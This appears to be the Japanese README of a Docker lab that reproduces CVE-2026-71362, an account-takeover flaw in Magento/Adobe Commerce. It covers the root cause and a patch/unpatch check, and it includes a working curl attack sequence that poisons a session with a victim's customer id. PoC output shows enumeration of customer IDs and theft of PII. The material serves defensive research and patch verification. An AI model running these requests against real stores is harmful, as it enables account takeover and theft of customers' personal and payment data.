
CVE-2026-71362 Magento/Adobe Commerceのアカウント乗っ取りを顧客セッションのアイデンティティ切替を介して再現するDockerラボ。PoCと公式パッチのA/B/Aコントロールを備え、認可された研究用です。
CVE-2026-71362 をエンドツーエンドで再現し、Adobeの修正を検証できる自己完結型のワンコマンドDockerラボです。 防御担当者、研究者、学生が、使い捨てストア上で実際のアカウント乗っ取りプリミティブを研究できます。
| CVE | CVE-2026-71362 |
| 製品 | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| 分類 | 不適切な認可(CWE-863) — 顧客セッションのID切替 → アカウント乗っ取り |
| 深刻度 | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| アドバイザリ | Adobe APSB26-92(2026-08-11) |
| 影響を受けるバージョン | Adobe Commerce 2.4.4–2.4.9、Magento Open Source 2.4.6–2.4.9、B2B 1.3.3–1.5.3 — -2026-jul 分離パッチレベル以前 |
| 修正済みバージョン | -2026-aug 分離パッチレベル(パッチID 24Xp-2026-08-001-CE) |
⚠️ 許可された用途のみ
このラボは、公開済みでパッチ適用済みの脆弱性を、防御研究および 教育のために再現するものです。このラボが構築する使い捨てストアに対してのみ実行してください。所有していない、または 明示的な書面によるテスト許可を得ていないMagento/Adobe Commerceインスタンスに対しては使用しないでください。 適用されるすべての法律を遵守する責任はあなたにあります。
Magento\Customer\Controller\Account\Edit::execute() は、失敗した editPost によってセッションに残された生の、攻撃者が制御する customer_form_data を DataObjectHelper::populateWithArray() に渡します。これはすべての一致するキーを顧客オブジェクトにコピーします — id も含めて。その後、オブジェクトは Session::setCustomerData() → setCustomerId($object->getId()) で書き戻され、Customer\Model\Session::getId() が単に getCustomerId() を返すだけであるため、customer_id をそれだけ上書きするだけで、被害者として isLoggedIn() が true を返すようになります。パスワード、トークン、所有権のチェックは一切ありません。自分で登録した使い捨てアカウントしか持たない攻撃者は、自分のセッションを任意の顧客IDに再バインドし、そのアカウントのPII、注文、住所、保存された支払いトークンを読み取ることができます。
完全なウォークスルー: docs/ROOTCAUSE.md。検出 & WAFルール: docs/DETECTION.md。
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txtビルドはMagento Open Sourceを公開ソースから取得します。Adobe Marketplaceのキーは不要です。
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
ストアフロント: http://127.0.0.1:8080/ · 管理画面: http://127.0.0.1:8080/admin(admin / Admin123!)。ホスト/ポートは .env で変更します(.env.example 参照) — MagentoはセッションCookieをストアのベースURLに固定するため、この値はブラウズするURLと一致している必要があります。
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
make patch は patch/Edit.patched.php — patch/official-APSB26-92-module-customer.patch の正確なアップストリーム変更 — を差し替えます。この1ファイルだけをオン/オフに切り替えることが、バグがまさにこのハンクであることのオラクル(判定基準)になります。
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
お使いのブランチ向けの APSB26-92 2026年8月分離パッチ(24Xp-2026-08-001-CE)を適用してください。Adobeはパッチレジストリと生の差分を、認証情報なしで https://repo.magento.com/patch/patch-registry.json にて提供しています。この修正は公開GitHubにはありません — Composerパッケージやgitタグは公開されていないため、composer update では取得されません。
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs を実行して Install complete を待ち、その後 make wait を実行してください。generated/ の権限競合が原因です。make shell を実行してから php bin/magento cache:flush を実行してください(通常はエントリポイントがこれを処理します)。.env の MAGENTO_HOST/HOST_PORT を、あなた(および TARGET)が使用するURLと同じにしてください。MIT — LICENSE を参照。教育および許可されたテスト用に提供されており、保証はありません。